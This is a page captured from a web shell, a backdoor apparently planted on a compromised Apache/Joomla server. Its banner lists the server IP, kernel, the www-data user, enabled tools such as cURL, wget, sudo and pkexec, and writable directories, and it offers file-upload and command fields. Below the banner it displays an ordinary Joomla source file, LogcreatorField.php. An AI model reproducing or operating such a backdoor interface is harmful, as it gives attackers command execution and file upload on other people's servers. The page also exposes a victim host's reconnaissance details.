403Webshell
Server IP : 104.21.84.107  /  Your IP : 104.23.243.197
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/pts/administrator/components/com_actionlogs/src/Field/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/pts/administrator/components/com_actionlogs/src/Field/LogcreatorField.php
<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_actionlogs
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Actionlogs\Administrator\Field;

use Joomla\CMS\Form\Field\ListField;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Field to load a list of all users that have logged actions
 *
 * @since  3.9.0
 */
class LogcreatorField extends ListField
{
    /**
     * Cached array of the category items.
     *
     * @var    array
     * @since  3.9.0
     */
    protected static $options = [];

    /**
     * The form field type.
     *
     * @var    string
     * @since  3.9.0
     */
    protected $type = 'LogCreator';

    /**
     * Method to get the options to populate list
     *
     * @return  array  The field option objects.
     *
     * @since   3.9.0
     */
    protected function getOptions()
    {
        // Accepted modifiers
        $hash = md5($this->element);

        if (!isset(static::$options[$hash])) {
            static::$options[$hash] = parent::getOptions();

            $db = $this->getDatabase();

            // Construct the query
            $query = $db->getQuery(true)
                ->select($db->quoteName('u.id', 'value'))
                ->select($db->quoteName('u.username', 'text'))
                ->from($db->quoteName('#__users', 'u'))
                ->join('INNER', $db->quoteName('#__action_logs', 'c') . ' ON ' . $db->quoteName('c.user_id') . ' = ' . $db->quoteName('u.id'))
                ->group($db->quoteName('u.id'))
                ->group($db->quoteName('u.username'))
                ->order($db->quoteName('u.username'));

            // Setup the query
            $db->setQuery($query);

            // Return the result
            if ($options = $db->loadObjectList()) {
                static::$options[$hash] = array_merge(static::$options[$hash], $options);
            }
        }

        return static::$options[$hash];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit